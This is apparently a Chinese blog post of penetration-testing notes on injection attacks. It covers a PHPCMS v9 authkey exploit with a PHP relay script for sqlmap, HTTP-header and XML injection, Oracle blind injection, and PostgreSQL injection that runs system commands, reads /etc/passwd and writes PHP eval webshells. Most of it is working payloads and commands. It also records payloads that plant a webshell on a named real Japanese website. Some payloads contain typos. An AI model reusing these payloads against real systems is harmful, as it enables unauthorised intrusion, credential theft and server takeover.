• 渗透测试学习 十二、 其他注入漏洞汇总 续


    phpv9 authkey注入

    环境搭建

      将源码复制到PHPstudy的www路径下后

     

     

      搭建好后,随便搭建一个网站首页

      然后将利用exp附在网站根目录后面

    phpsso_server/index.phpm=php?sso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

    需要注意的是,地址栏中的域名和报出来的信息中的域名要一致,否则无法利用漏洞,后面框出来的是爆出的key值

      接下来就是一个中转注入,写好一个php页面,放在本地PHPstudy的www路径下,需要改的地方有两处,就是代码中有注释的两处。第一处改为网站域名,第二处改为爆出的key值,然后访问127.0.0.1/php.php?id=1

    <?php
    
    set_time_limit(0);
    $wang_url = 'http://192.168.200:8017';       //请修改这里为phpcmsv9网站地址
    $auth_key = 'vRRLAaRcoRRtaBTSUzGIdLIHvZwT5md6'; //这里为phpcmsv9 authkey
    $str = "uid=1" . stripslashes($_GET['id']);
    $encode = sys_auth($str, 'ENCODE', $auth_key);
    $content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode);
    echo $content;
    function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
    {
        $key_length = 4;
        $key = md5($key);
        $fixedkey = hash('md5', $key);
        $egiskeys = md5(substr($fixedkey, 16, 16));
        $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
        $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
        $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
        $i = 0;
        $result = '';
        $string_length = strlen($string);
        for ($i = 0; $i < $string_length; $i++) {
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
        }
        if ($operation == 'ENCODE') {
            return $runtokey . str_replace('=', '', base64_encode($result));
        } else {
            if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        }
    }
    ?>

      然后用sqlmap跑这个页面,这个页面就是一个中转的作用,相当于一个中间人,将sqlmap的攻击命令转交给目标站点,实现注入攻击

    HTTP头注入

     常见的HTTP请求中存在注入的参数

      User-agent  Referer  X-Forwarded-For(重点)  Client-ip(重点)  Host

        X-Forwarded-For:记录客户端的登录或访问的ip

        Client-ip:获取ip

      检测方式:

        Client-ip: 1.1.1.1'

        参数在服务器端是用单引号来获取的,所以要用单引号来闭合,所以在检测的时候在参数后面加一个单引号来检测是否存在注入

        通常一些对ip参数要求很高的网站,会记录ip的网站可能存在注入

        登录的地方、留言的地方、发表文章的地方可能会存在注入

        在这些地方输入内容提交的时候,用bp抓包过滤拦截,修改,保存为txt再用sqlmap跑包

        也可以用火狐的插件Modify Headers,添加参数后打开,会自动往http头文件中添加对应的参数来检测(host参数最好不要乱加,会影响本地)

        exp构造利用漏洞

    INSERT INTO blue_comment(com_id,post_id,user_id,type,mood,content,pub_date,ip,is_check) VALUES (",'1','0','1','6','test','1480988752','111','1')
    
    
    a','xxx'),(",'1','1','2',(select concat(admin_name,0x3a,pwd,from biue_admin limit 0,1),'164545407','sss','1')#

        用sqlmap,bp抓包,加参数,指定注入点位置,保存为txt

          e.g  client-ip: 1.1.1*

          sqlmap.py -r c:1.txt

    XML实体注入

      xml,(作用:数据传输,数据传输)可扩展标记语言,标注通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。

    可扩展标记语言XML(eXtensible Markup Language)是一种简单灵活的文本格式的可扩展标记语言,起源于SGML(Standard Generalized Markup Language),是SGML的一个子集合,也就是SGML的一个简化版本,非常适合于在Web上或者其它多种数据源间进行数据的交换。(源自百度百科)

    漏洞形成原因:

      代码过滤不严格;用户可以控制。

      漏洞示例:

        任意文件读取示例;用户注册植入示例

    $sql="SELECT * FROM user WHERE (id='$id')";
    
    sqlmap.py -u "" --prefix "')' --suffix "('abc'='abc"

    APP注入漏洞挖掘

      利用bp抓取APP发送到服务器的链接数据包

      burp fiddler

      得到链接后进行测试

      设置代理为手机上的代理

      手机和bp在同一网段下

    Oracle&&postgresql注入详解

      大纲:oracle数据库注入原理  postgresql注入原理

      oracle数据库注入

      介绍:ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如

    SilverStream就是基于数据库的一种中间件。ORACLE数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,

    它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。

    Oracle数据库最新版本为Oracle Database 12c。Oracle数据库12c 引入了一个新的多承租方架构,使用该架构可轻松部署和管理数据库云。此外,一些创新特性可最大限度地提高资源使用

    率和灵活性,如Oracle Multitenant可快速整合多个数据库,而Automatic Data Optimization和Heat Map能以更高的密度压缩数据和对数据分层。这些独一无二的技术进步再加上在可用

    性、安全性和大数据支持方面的主要增强,使得Oracle数据库12c 成为私有云和公有云部署的理想平台。

      特点:

        1、支持多用户、大事务量的处理

        2、数据安全性和完整性的有效控制

        3、支持分布式数据处理

        4、移植性强

        jsp+oracle  常见于:旅游网站、物流网站、企业网站、政府网站、学校网站

        搜索方法:inurl:jsp?id=旅游

      判断数据库

        and 1=1  and 1=2  /  '

      判断oracle数据库

        and exists(select * from dual)

        and exists(select * from user_tables)

      判断列数

        order by 11  order by 12  union联合查询

      判断数据库类型不匹配的列

        http://www.xx.com/sqllnject/sqlTest.jsp?id=100 union select null,null,null,null,null,null from dual

        再用数字填充一个一个的尝试,如果正常则表示就是数字类型的,否则就是字符类型的,在字符类型的的房就可以插入SQL查询语句进行查询

      获取基本信息

        获取数据库版本

          (select banner from sys.v_$version where rownum=1)

        获取操作系统版本

          (select member from v$logfile where rownum=1)

        获取连接数据库的当前用户

          (select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)

        获取数据库

          (select owner from alltables where rownum=1)

      第二种注入方式

        判断一下数据库的表,网址后面加上:

        and(select count(*) from admin)<>0  回显正常,说明存在admin表;若回显错误,可将admin改为username等其他表名继续检测

        判断一下该网站有几个管理员(若存在多个管理员可以增加入侵几率)

        and(select count(*) from admin)=1  回显正常,说明只有有一个

        指定表名跑列名

        and(select count(name) from admin)>=0

        用ASCII码这般法猜解账号、密码

        判断用户名长度

        and (select count(*) from admin where length(name)>=5)=1

        and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

        substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值,97-----a

        用sqlmap时,步骤与其他一样

    postgresql注入详解

      介绍:(多见于国外)PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他

    现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是

    学术研究使用。

      注入的常用语法

         判断数据库

          +and+1::int=1--  其中+就是空格

        e.g  http://mysql.sql.com/sql.php?id=1+and+1::int=1--

        判断数据库的版本信息

          +and+1=cast(version() as int)--  

        判断当前用户

          and 1=cast(user||123 as int)

        判断有多少字段

          order by 3

          union select null,null,null

          union select null,suer,null  判断当前用户

          union select null,version(),null  判断版本信息

        列字段内容

          +union+select+null,name||pass,null+from+admin  查看postgresql数据库的账号、密码

          +union+select+null,username||chr(124)||password,null+drom+pg_shadow

        创建用户

          ;create+user+seven+with+superuser+password+'seven'--  

        修改postgresql用户密码为123456

          ;create+user+postgres+with+password+'123456'--

      创建system函数

        用于版本大于8的数据库

        创建一个system的函数,用system函数执行系统命令

          create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ATRICT

        创建一格输出表

          create table stdout(id serial,system_out text)

        执行shell,输出到输出表内

          select system('uname -1 > /tmp/test')

        copy输出的内容到表里面

          COPY stdout(system_out) FROM '/tmp/test'

        从输出表内读取执行后的回显,判断是否执行成功

          union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--

      postgresql写shell

        直接拿shell

          http://www.xx.com/sql.php?id=1;create table shell(shell text not null);

          http://www.xx.com/sql.php?id=1;insert into shell values($$<?php@eval($_POST[crscer]);?>$$');

          http://www.xx.com/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';

        另一种方法

          ;copy (select '$$<?php@eval($_POST[cracer]);?>$$') to 'c:/inetup/wwwroot/mysql-sql/dd.php'

        读取文件前20行(文件读取)

          pg_read_file('/etc/passwd',1,20)

      数据库备份还原

        备份数据库

          pg_dump -O -h 168.192.0.5 -U postgres mdb >c:mdb.sql"

          pg_dump -O -h 192.168.0.5 -U dbowner -w -105432 ss>ss.sql  远程备份数据库到本地来

        还原数据库

          psql -h localhost -U postgres -d mdb

    日本站点测试(网站已挂了)

      http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(version()%20as%20int)

      http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(user||123%20as%20int)

       创建表

        ;create table ccc(w text not null());  创建表ccc w列

      插入一句话木马

        ;insert into ccc values($$<?php@eval($_POST[cracer]);?>$$);  向ccc表中插入一句话

      导出一句话

        ;copy ccc(w) to $$/host/kasugai_tochi/public_html/script/cracer.php$$;  讲一句话保存为cracer.php文件

      菜刀连接

        http://www.kasugau-tochi.jp/script/cracer.php

        

     2019-05-06  12:31:11

  • 相关阅读:
    通过IDEA解决spring配置文件
    idea中xml打开方式变成file,改回来
    idea 搜索不到前端的ajax controller接口的原因
    IDEA 出现 updating indices 卡进度条问题的解决方案并加快索引速度
    java 循环中使用list时,出现list中全部加入了对象导致没有实现分组的解决方案
    java 从字符串中 以单个或多个空格进行分隔 提取字符串
    idea ssm项目出现日志中文乱码,封装的json中的msg字段中文乱码(但是json封装的bean中的字段不乱码)等其他各种项目下的中文乱码解决方案
    javaweb 解决jsp中${}传递中文值到后端以及get请求中文乱码的问题
    idea 开发javaee 时,出现访问的文件和源文件不一样,没有正常更新的解决方案
    java 迭代器只遍历了一次的解决方案
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/10816382.html
Copyright © 2020-2023  润新知